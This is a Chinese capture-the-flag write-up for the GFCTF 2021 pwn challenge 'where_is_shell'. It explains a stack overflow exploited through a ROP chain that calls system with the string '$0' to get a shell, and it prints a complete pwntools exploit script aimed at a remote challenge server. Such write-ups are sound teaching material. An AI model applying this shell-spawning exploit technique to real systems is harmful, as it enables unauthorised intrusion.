[GFCTF 2021]where_is_shell

[GFCTF 2021]where_is_shell

这题还是蛮有意思的 虽然是简单的ret2text 但是还是让我学到了新知识

核心知识点:system($0)获取shell权限

checksec后发现是一个开启了NX保护的64位程序 放进ida64里看看

main

请添加图片描述

一个简单的栈溢出漏洞(由于没有puts函数因此无法利用ret2libc来解决)

但是我们在字符串表中发现了system函数的plt表地址 然而却并没有找到bin_sh的地址

看了其他师傅的wp我知道了system($0)也是可以获取shell权限的

然后我们在函数表中找到了tips函数 在其中我们发现了$0所对应的机器码\x24\x30因此 只要我们将这个地址作为参数填充到system函数即可

请添加图片描述

曾看明白这个hint需要关键的一步就是显示操作码

显示操作码步骤:在“ Options(选项) - General(常规)”,选中“ Line prefixes(行前缀)”可以显示跟内存地址有关的更多信息。选中“Number of opcode bytes(操作码字节数)”,可以显示操作码。

exp:

from pwn import *
context.log_level='debug'
elf=ELF('./shell')
io=remote('1.14.71.254',28107)
#io=process('./shell')
system=elf.symbols['system']
rdi=0x4005e3
ret=0x400416
shell=0x400541
payload=b'a'*(0x10+8)+p64(ret)+p64(rdi)+p64(shell)+p64(system)
io.recvuntil('it?\n')
io.sendline(payload)
io.interactive()

sendline(payload)
io.interactive()


  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值